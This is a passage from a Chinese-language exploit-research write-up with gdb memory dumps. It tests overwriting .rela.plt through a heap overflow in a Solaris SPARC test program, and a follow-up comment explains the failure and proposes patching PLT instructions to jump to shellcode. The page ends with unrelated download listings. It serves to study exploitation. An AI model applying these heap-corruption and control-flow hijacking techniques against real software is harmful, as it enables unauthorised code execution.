0x20ab0:        0x00010a40      0x00010a40      0x20bfffff      0x20bfffff
0x20ac0:        0x7fffffff      0xaa1d4015      0x81c3e014      0xaa1d4015
0x20ad0:        0xaa1d4015      0x20804973      0x20806261      0x20807365
0x20ae0:        0x20803a29      0x7fffffff      0x941a800a      0x9003e034
0x20af0:        0x920b800e      0x9c03a008      0xd023bff8      0xc023bffc
/*
fread之后,m2的malloc函数管理数据被覆盖
*/
(gdb) x/20x m2-0x10
0x20ea8:        0x41414141      0x41414141      0xfffffff9      0xffffffff
0x20eb8:        0x000104d0      0xffffffff      0xffffffff      0xffffffff
0x20ec8:        0xffffffff      0xffffffff      0x00020b18      0xffffffff
0x20ed8:        0xffffffff      0xffffffff      0x00000000      0x00000000
0x20ee8:        0x00000000      0x00000000      0x00000000      0x00000000
(gdb) s
27              m3 = (void*) malloc(IOSIZE/2);
/*
执行 malloc(IOSIZE/2) 将会导致.rela.plt被修改。我们先看一下修改前的内存内容
*/
(gdb)  x/10x 0x00020b18
0x20b18:        0x2f62696e      0x2f7368ff      0x41414141      0x41414141
0x20b28:        0x41414141      0x41414141      0x41414141      0x41414141
0x20b38:        0x41414141      0x41414141
(gdb) x/20x 0x000104d0
0x104d0 <_START_+1232>: 0x00000b15      0x00000000      0x00020960      0x00000f15
0x104e0 <_START_+1248>: 0x00000000      0x0002096c      0x00001815      0x00000000
0x104f0 <_START_+1264>: 0x00020978      0x00000215      0x00000000      0x00020984
0x10500 <_START_+1280>: 0x00000815      0x00000000      0x00020990      0x00001615
0x10510 <_START_+1296>: 0x00000000      0x0002099c      0x00000115      0x00000000
(gdb) s
29              printf("Free m1 and m3□cn");
(gdb) si
0x000107dc      29              printf("Free m1 and m3\n");
(gdb) si
0x000107e0      29              printf("Free m1 and m3\n");
(gdb) si
0x000107e4      29              printf("Free m1 and m3\n");
(gdb) si
0x00020978 in printf ()
(gdb) si
0x0002097c in printf ()

/*
我们再看一下修改后的内存内容,确实发生了改变,而且没有段出错
*/
(gdb) x/20x 0x000104d0
0x104d0 <_START_+1232>: 0x00000b15      0x00000000      0x00020960      0x00000f15
0x104e0 <_START_+1248>: 0x00000000      0x0002096c      0x00001815      0x00000000
0x104f0 <_START_+1264>: 0x00020b18      0x00000215      0x00000000      0x00020984
0x10500 <_START_+1280>: 0x00000815      0x00000000      0x00020990      0x00001615
0x10510 <_START_+1296>: 0x00000000      0x0002099c      0x00000115      0x00000000
(gdb) x/10x 0x00020b18
0x20b18:        0x2f62696e      0x2f7368ff      0x000104d0      0x41414141
0x20b28:        0x41414141      0x41414141      0x41414141      0x41414141
0x20b38:        0x41414141      0x41414141
(gdb) c
Continuing.
Free m1 and m3

Program exited with code 01.
(gdb) q
hongkong:/home/minchumo

在vul的Segment 02 加上可写权限后,我们顺利的修改了.rela.plt的内容,但程序的运行似乎一点不受影响,我们的黑客码并没有被执行。


结论:

就我们上面的试验来看,在Solaris系统中Exploit PLT有一定的难度,因为.plt中并不包含可资利用的函数地址,而且需要改变8Bytes的内容。仅仅修改.rela.plt也不会改变程序的运行。


waring3注:

覆盖.rela.plt中printf入口地址的方法是没有用的. 因为在编译的时候, 程序就已经获得了printf的PLT地址,所以在执行的时候不会再去读.rela.plt中的内容了.

[warning3@ /tmp]> gdb ./vul
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disass main
Dump of assembler code for function main:
0x109bc <main>: save  %sp, -144, %sp
0x109c0 <main+4>:       st  %i0, [ %fp + 0x44 ]
0x109c4 <main+8>:       st  %i1, [ %fp + 0x48 ]
0x109c8 <main+12>:      sethi  %hi(0x10800), %o0
0x109cc <main+16>:      or  %o0, 0x370, %o0     ! 0x10b70 <_lib_version+8>
0x109d0 <main+20>:      ld  [ %o0 + 4 ], %o1
0x109d4 <main+24>:      ld  [ %o0 ], %o0
0x109d8 <main+28>:      std  %o0, [ %fp + -32 ]
0x109dc <main+32>:      add  %fp, -32, %o0
0x109e0 <main+36>:      sethi  %hi(0x10800), %o1
0x109e4 <main+40>:      or  %o1, 0x378, %o1     ! 0x10b78 <_lib_version+16>
0x109e8 <main+44>:      call  0x20c48 <fopen>
0x109ec <main+48>:      nop
0x109f0 <main+52>:      st  %o0, [ %fp + -20 ]
0x109f4 <main+56>:      ld  [ %fp + -20 ], %o0
0x109f8 <main+60>:      cmp  %o0, 0
0x109fc <main+64>:      bne  0x10a1c <main+96>
0x10a00 <main+68>:      nop
0x10a04 <main+72>:      sethi  %hi(0x10800), %o0
0x10a08 <main+76>:      or  %o0, 0x380, %o0     ! 0x10b80 <_lib_version+24>
0x10a0c <main+80>:      call  0x20c54 <printf>
...
(gdb) x/3i 0x20c54
0x20c54 <printf>:       sethi  %hi(0x21000), %g1
0x20c58 <printf+4>:     b,a   0x20bd0 <_PROCEDURE_LINKAGE_TABLE_>
0x20c5c <printf+8>:     nop

所以虽然你成功覆盖了.rela.plt的内容, 程序执行时却直接跳到printf的PLT地址去执行了,
这不会改编程序执行流程,所以你的攻击不会成功.printf()会正常打印出结果.

一个可能的思路是直接修改PLT入口的内容,

(gdb) x/3i 0x20c54
0x20c54 <printf>:       sethi  %hi(0x21000), %g1
0x20c58 <printf+4>:     sethi  %hi(0xff303000), %g1
0x20c5c <printf+8>:     jmp  %g1 + 0x3e0        ! 0xff3033e0 <printf>

假设只覆盖4个字节, 我们可以考虑只覆盖0x20c58,
因为接下来要跳到%g1+0x3e0去,我们重写的指令应该设法将%g1重新赋值, 例如设法
使 %g1 = shellcodeaddr - 0x3e0. 问题就在于如何选择一个可以完成这个赋值操作,
并且本身又是一个有效的地址的指令. 理论上是存在此可能性的.:)

如果利用格式串漏洞,应该就很容易实现了, 因为它不需要指令本身是一个有效的地址.

另外还有一个小错误:

hongkong:/home/moda  objdump -S vul



vul:     file format elf32-sparc



Contents of section .interp:

100d4 2f757372 2f6c6962 2f6c642e 736f2e31  /usr/lib/ld.so.1

100e4 00                                   .

Contents of section .hash:

上面应该是用objdump -s vul. 用-S是看不到那些信息的.
分享到:
评论

相关推荐

    论文研究-一种用于MADIDs的联结树因式粒子推理算法 .pdf

    一种用于MADIDs的联结树因式粒子推理算法,姚宏亮,张佑生, 针对多Agent MDP难以表示Agents之间的结构关系和MAIDs不能建模动态环境的问题,提出一种以局部概率因式形式表示动态环境中多Agent之间关系

    SpringBoot整合mybatis-plus实现多数据源的动态切换且支持分页查询.pdf

    SpringBoot整合mybatis-plus实现多数据源的动态切换且支持分页查询,案例以postgresql和oracle数据库为数据源,分别使用mybatis-plus分页插件和pagehelper分页插件实现分页查询。

    不需要mssqlserver客户端的动态库

    只要这三个动态库在path路径中,pb等联结数据库就不需要安装mssqlserver客户端

    重量法连续动态吸附仪的研制

    重量法连续动态吸附仪的研制,周记玲,,从重量动态吸附仪的总体设计、主要构件的设计安装、与计算机的联结及其实现方式、操作平台软件编程和安装调试等几个方面,着重阐

    数控车床电主轴系统动态特性分析及多目标优化

    数控车床电主轴系统动态特性分析及多目标优化,何彦,赵建宇,主轴系统的动态特性受到与之联结的旋转部件的影响。在绝大多数相关研究中,这些旋转部件的离心力被忽略。本文则建立了某型号数控

    影响中的情感:联结主义模型-研究论文

    情感信息在人际影响中的作用是强大的,但在社会影响... 这种联结主义方法通过考虑动态人际影响过程的情感维度,为情感和影响文学做出了贡献。 我们考虑了在涉及二元影响的背景下,个人对使用情感诉求行为的意识的影响。

    动态网站(毕业设计)

    代码什么都用一个完整的毕业设计 ...第七章 联结网站及维护 ………………………………22 第八章 结束语……………………………………………24 附录 主要窗体的源代码…………………………………26 摘 要

    JNative用java调用动态库VC++

    因工作的缘故,有机会接触了Java本地方法调用...使用Java的JNI调用C/C++的动态联结库有个固定的步骤,下面将以一个最简单的HelloWorld例子程序来说明调用过程。这个HelloWorld的例子只是简单的显示HelloWorld消息。

    论文研究-一种构件化动态软件系统组态模型.pdf

    在讨论软件构件技术复用现状的基础上,借鉴工业控制领域的组态概念,提出了一种构件化动态软件系统组态模型。其基本思想是:在一定的软件体系结构基础上,用系统的宏观逻辑组态描述联结实现系统具体功能的软件构件,...

    四川缙云山大头茶与森林优势种群间联结性研究 (1995年)

    结果表明,种对间的联结性质和程度是随着群落演替的进展而发生变化的,这也正是生境条件优化和多种群相互作用,占据各自生态位的动态过程.只在常绿阔叶林中,大头荣与栲树、润楠间表现出极显著负联络;与白毛新木姜子、...

    网络学院动态网站论文

    目 录 摘 要………………………………………………...第七章 联结网站及维护 ………………………………22 第八章 结束语……………………………………………24 附录 主要窗体的源代码…………………………………26

    基于DSP变压器直流电阻的“消磁动态”方法测试

    本方法的特点在于合理地将静态与动态测试方法有机地统一了起来,它特别适用于各种不同容量、不同联结组、铁心为五柱式或三柱式的电力变压器的绕组直流电阻的快速、准确、可靠的测量;该方法的另一个特点是合理地选用...

    用于柔索振动控制的索型动态吸振器 (2007年)

    控制索(动态吸振索)与被控索(主索)具有相同的边界条件,并用均匀分布的线性弹簧和阻尼器与主索相联结。因为在相同边界条件下,主索和吸振索具有相同的特征函数,所以在主索的模态坐标下,系统的运动方程等同于...

    基于实物期权的企业战略风险动态测度

    单因子动态测度模型, 利用Copula 联结函数描述了多因子的联合概率分布和关联结构, 提出一种以实物期权为内核 的企业战略风险动态测度方法. 示例分析表明, 该方法比传统方法更逼近实际决策情景, 具有一定的实用...

    基于DSP的变压器直流电阻的“消磁动态”法测试研究

    本方法的特点在于合理地将静态与动态测试方法有机地统一了起来,它特别适用于各种不同容量、不同联结组、铁心为五柱式或三柱式的电力变压器的绕组直流电阻的快速、准确、可靠的测量;该方法的另一个特点是合理地选用...

    Windows 95 系统程式设计大奥秘(简体中文版)

    PE 可执行档格 式对于 Win32 程序载入、DLL 模块载入、函式输入(imported)、函式输出(exported)、动态联结机制等题目,有密不可分的关联,而 Matt 对于 PE 档案格式的透彻分析,让我们 有醍醐灌顶之感。

    基于实物期权的企业战略风险动态测度 (2005年)

    针对企业战略风险的柔性特征,引入实物期权建立其单因子动态测度模型,利用Copula联结函数描述了多因子的联合概率分布和关联结构,提出一种以实物期权为内核的企业战略风险动态测度方法。示例分析表明,该方法比传统...

    论文研究-固定收益决策支持系统机理建模与数据挖掘的协同研究.pdf

    对FIDSS的结构分层设计、协同联结模式与协同作业功能进行了分析,对FIDSS的确定性关联、选择性关联和动态关联等三个层次上的机理建模与数据挖掘的交互方式进行了建构,以便进一步提高FIDSS的决策质量和对金融经济复杂...

    SQL 四种连接-左外连接、右外连接、内连接、全连接详解

    SQL的四种连接-左外连接、右外连接、内连接、全连接 今天在看一个遗留系统的数据表的时候发现平时查找的视图是FULL OUT JOIN的,导致平时的数据记录要进行一些限制性处理,其实也可以设置视图各表为右外连接并在...

    项目教学PPT

    数控机床向柔性自动化系统发展的趋势是:数控机床能方便地与CAD、CAM、CAPP及MTS等联结,向信息集成方向发展。其重点是以提高系统的可靠性,实用化为前提,以易于联网和集成为目标,注重加强单元技术的开拓和完善。...

Global site tag (gtag.js) - Google Analytics